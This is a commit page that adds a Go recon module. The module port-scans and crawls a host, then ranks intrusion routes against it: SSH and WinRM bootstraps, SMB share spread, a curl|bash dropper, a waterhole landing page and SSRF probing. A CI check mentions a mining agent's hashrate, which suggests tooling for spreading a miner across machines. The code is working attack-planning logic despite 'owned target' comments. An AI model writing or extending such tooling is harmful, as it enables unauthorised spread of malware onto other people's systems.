Add browser deploy recon backend with port scan, web crawl, and deploy lane recommendations.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
POST /api/v1/recon/scan probes fleet ports from the server host, crawls owned HTTP targets, maps findings to spread lanes, and records optional oath ledger rows.
This commit is contained in:
152
server/internal/recon/scan.go
Normal file
152
server/internal/recon/scan.go
Normal file
@@ -0,0 +1,152 @@
|
||||
package recon
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Scan runs port scan and optional web crawl for an operator-supplied owned target.
|
||||
func Scan(req ScanRequest) (*ScanReport, error) {
|
||||
host, err := normalizeOwnedHost(req.Host)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ports := ScanPorts(host)
|
||||
report := &ScanReport{
|
||||
Host: host,
|
||||
ScannedAt: time.Now().UTC(),
|
||||
Ports: ports,
|
||||
}
|
||||
|
||||
if shouldCrawl(req, ports) {
|
||||
crawl, err := Crawl(host, req.Port, req.Scheme, req.Paths)
|
||||
if err == nil && crawl != nil {
|
||||
report.Crawl = crawl
|
||||
}
|
||||
}
|
||||
report.Recommendations = BuildRecommendations(ports, report.Crawl)
|
||||
return report, nil
|
||||
}
|
||||
|
||||
func normalizeOwnedHost(host string) (string, error) {
|
||||
host = strings.TrimSpace(host)
|
||||
if host == "" {
|
||||
return "", fmt.Errorf("host required")
|
||||
}
|
||||
host = strings.TrimPrefix(host, "http://")
|
||||
host = strings.TrimPrefix(host, "https://")
|
||||
if i := strings.Index(host, "/"); i >= 0 {
|
||||
host = host[:i]
|
||||
}
|
||||
if h, p, err := net.SplitHostPort(host); err == nil {
|
||||
if strings.TrimSpace(h) == "" {
|
||||
return "", fmt.Errorf("invalid host")
|
||||
}
|
||||
_ = p
|
||||
host = h
|
||||
}
|
||||
if ip := net.ParseIP(host); ip != nil {
|
||||
return ip.String(), nil
|
||||
}
|
||||
if len(host) > 253 || strings.Contains(host, " ") {
|
||||
return "", fmt.Errorf("invalid host")
|
||||
}
|
||||
return strings.ToLower(host), nil
|
||||
}
|
||||
|
||||
func shouldCrawl(req ScanRequest, ports []PortResult) bool {
|
||||
if req.Port > 0 || strings.TrimSpace(req.Scheme) != "" || len(req.Paths) > 0 {
|
||||
return true
|
||||
}
|
||||
for _, p := range ports {
|
||||
switch p.Port {
|
||||
case 80, 443, 8080, 8443:
|
||||
if p.Open {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// BuildRecommendations maps port and crawl findings to existing deploy lanes/templates.
|
||||
func BuildRecommendations(ports []PortResult, crawl *CrawlReport) []DeployRecommendation {
|
||||
var recs []DeployRecommendation
|
||||
open := map[int]bool{}
|
||||
for _, p := range ports {
|
||||
if p.Open {
|
||||
open[p.Port] = true
|
||||
}
|
||||
}
|
||||
|
||||
if open[22] {
|
||||
recs = append(recs, DeployRecommendation{
|
||||
Lane: "linux_lotl",
|
||||
Template: "linux-lotl",
|
||||
Reason: "TCP 22 open — SSH LOTL bootstrap",
|
||||
Priority: 25,
|
||||
})
|
||||
}
|
||||
if open[445] {
|
||||
recs = append(recs, DeployRecommendation{
|
||||
Lane: "spread_smb_unc",
|
||||
Reason: "TCP 445 open — SMB UNC spread",
|
||||
Priority: 50,
|
||||
})
|
||||
}
|
||||
if open[5985] || open[5986] {
|
||||
recs = append(recs, DeployRecommendation{
|
||||
Lane: "winrm",
|
||||
Template: "winrm",
|
||||
Reason: "TCP 5985/5986 open — WinRM bootstrap",
|
||||
Priority: 30,
|
||||
})
|
||||
}
|
||||
if open[80] || open[443] || open[8080] || open[8443] {
|
||||
recs = append(recs, DeployRecommendation{
|
||||
Lane: "bits_curl",
|
||||
Reason: "HTTP surface open — dropper curl|bash one-liner",
|
||||
Priority: 20,
|
||||
})
|
||||
recs = append(recs, DeployRecommendation{
|
||||
Template: "public_waterhole",
|
||||
Reason: "HTTP surface open — copy /spread/ public waterhole landing",
|
||||
Priority: 15,
|
||||
})
|
||||
}
|
||||
|
||||
if crawl != nil {
|
||||
if len(crawl.FileInputs) > 0 || len(crawl.MultipartForms) > 0 {
|
||||
recs = append(recs, DeployRecommendation{
|
||||
Lane: "stage_fetch",
|
||||
Reason: "Multipart or file-upload form — stage_fetch manifest staging",
|
||||
Priority: 35,
|
||||
})
|
||||
}
|
||||
if crawl.SSRFScore >= 30 {
|
||||
recs = append(recs, DeployRecommendation{
|
||||
Template: "ssrf_probe",
|
||||
Reason: fmt.Sprintf("SSRF candidate score %d — probe URL/webhook fields", crawl.SSRFScore),
|
||||
Priority: 45,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return dedupeRecommendations(recs)
|
||||
}
|
||||
|
||||
func dedupeRecommendations(in []DeployRecommendation) []DeployRecommendation {
|
||||
seen := map[string]bool{}
|
||||
var out []DeployRecommendation
|
||||
for _, r := range in {
|
||||
key := r.Lane + "|" + r.Template
|
||||
if seen[key] {
|
||||
continue
|
||||
}
|
||||
seen[key] = true
|
||||
out = append(out, r)
|
||||
}
|
||||
return out
|
||||
}
|
||||
Reference in New Issue
Block a user